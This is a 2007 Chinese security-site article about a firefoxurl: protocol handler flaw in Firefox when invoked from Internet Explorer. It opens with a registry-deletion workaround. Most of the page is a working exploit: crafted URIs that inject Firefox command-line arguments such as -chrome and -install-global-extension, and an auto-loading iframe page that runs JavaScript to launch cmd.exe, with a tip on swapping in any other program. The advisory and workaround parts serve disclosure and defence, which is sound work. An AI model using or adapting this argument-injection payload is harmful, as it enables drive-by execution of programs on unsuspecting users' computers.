首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
firefox惊爆0day高危漏洞:Cross Browser Scripting
来源:www.vfocus.net 作者:vfocus 发布时间:2007-07-12  
firefox惊爆高危漏洞,可执行本地程序。同时使用IE和firefox的用户请注意修复漏洞!

 

Monyer公布的临时解决方法:把以下代码复制到运行框中运行、或保存为*.bat双击运行、或在cmd运行:

--------------------------------从下面开始------------------------------------

 

reg delete "HKEY_CLASSES_ROOT\firefoxurl" /f

--------------------------------到上面结束------------------------------------

下面我们来看看这个漏洞:

FF为了使浏览用户能够在IE中调用自己,在注册表中添加了firefoxurl启动项,当在IE中连接如下列样子时,FF即会被调用(注意以下即后面代码不要随意测试,否则可能引起拒绝服务或恶循环启动):

<a href='firefoxurl:'>monyer</a>

而FF在注册表的启动位置是这样写的:

E:\PROGRA~1\MOZILL~1\FIREFOX.EXE -url "%1" -requestPending

其中%1为传入参数,即一个连接中【firefoxurl:】后面的部分。但是聪明的你应该想到:如果你通过【test"】对语句进行结束,然后再另建FF参数和XSS值的话,便可以进行XSS了,(这个过程跟SQL注入和XSS攻击的方法类似)譬如:

firefoxurl:test|"%20-new-window%20javascript:alert('hello%20monyer');"

-new-window为firefox的命令行参数,其他的命令行参数有:

Command Result Example
profile "<path>" Starts Firefox with profile located at the given path. firefox.exe -profile "E:\myprofile"
P "<profile name>" Starts Firefox with a given profile name (profile name is case sensitive). firefox.exe -P "Joel User"
<url> Launches Firefox and opens the given URL(s). firefox.exe "www.mozilla.org|www.mozillazine.org"
safe-mode Launches Firefox without loading extensions or themes. firefox.exe -safe-mode
no-remote Enables Firefox to run with multiple profiles; used with -P. Firefox 2 and later. firefox.exe -no-remote
height <value> Sets height of the startup window to <value>. firefox.exe -height 600
width <value> Sets width of the startup window to <value>. firefox.exe -width 800
ProfileManager Starts with Profile Manager. firefox.exe -ProfileManager
CreateProfile Create a new profile firefox -CreateProfile test
console Starts Firefox with a debugging console. firefox.exe -console
jsconsole Starts with Javascript Console. firefox.exe -jsconsole
inspector <url> Starts with the DOM Inspector. firefox.exe -inspector  
chrome <url> Loads the specified chrome. firefox.exe -chrome chrome://inspector/content/inspector.xul
new-window <url> Loads a URL in a new browser window. firefox.exe -new-window <url>
new-tab <url> Loads a URL in a new tab. firefox.exe -new-tab <url>
install-global-extension "<path>" Installs an extension globally. firefox.exe -install-global-extension "C:\Temp\extension-file.xpi"

这个是从mozilla社区摘来的。因此,你可以构造如下URI进行漏洞利用:

firefoxurl:test|"%20-CreateProfile%20Xssniper"

firefoxurl:test|"%20-new-window%20file:\\c:/monyer.txt

firefoxurl:test|"%20-console"

firefoxurl:test|"%20-jsconsole"

firefoxurl:test|"%20-safe-mode"

firefoxurl:test|"%20--install-global-extension%2520C:\Temp\monyer.xpi"

 

 

而如果我们想执行程序,可以构造如下语句:

firefoxurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)

chrome是FF的界面选项参数,FF的界面是用XUL编写的,即上面代码中chrome后面的所有代码。个人感觉XUL里面兼容了JS的部分,由于不懂XUL,这里直接拿上面这个现成的POC给大家解释一下怎样利用漏洞运行本地程序。

上面代码的程序路径+程序名部分是:

file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');

其中92是“\”的十进制编码,这里的路径引用需要双斜杠。所以你可以把它直接替换成其他程序。

一个较完整的利用程式如下:

<html><body>
<iframe src='firefoxurl://monyer.cn" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[&#39;@mozilla.org/file/local;1&#39;].createInstance(I.nsILocalFile);file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;Windows&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;System32&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;cmd.exe&#39;);process=C[&#39;@mozilla.org/process/util;1&#39;].createInstance(I.nsIProcess);process.init(file);process.run(true&#44;[&#39;/k%20echo%20hello%20Monyer&#39;]&#44;1);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)
</body></html>

请注意代码中的iframe是为了自动调用,alert是为了做process的单次调用,否则即是循环!

总结:

由于该漏洞的危险性巨大,所以请采用Monyer公布的解决方法,该方法会去除注册表中的firefoxurl启动项,达到免疫的目的。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·百度超级搜霸远程代码执行漏洞
·Discuz! 5.5 0324 跨站漏洞
·数千万聊天用户遇到挂马危险--Bl
·利用Yahoo! Messenger 8.1.0 Act
·Solaris 10 telnet漏洞及解决
·0day-java加载任意目录库文件(ja
·RealPlayer 6.0.10 到 6.0.14 整
·IBM WebSphere应用服务器源码泄
·Tomcat URI Stack Overflow
·Advanced Heap Spray Technique
·windows 再暴输入法安全风险
·Tencent QQ QQzone WebCtrl Acti
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved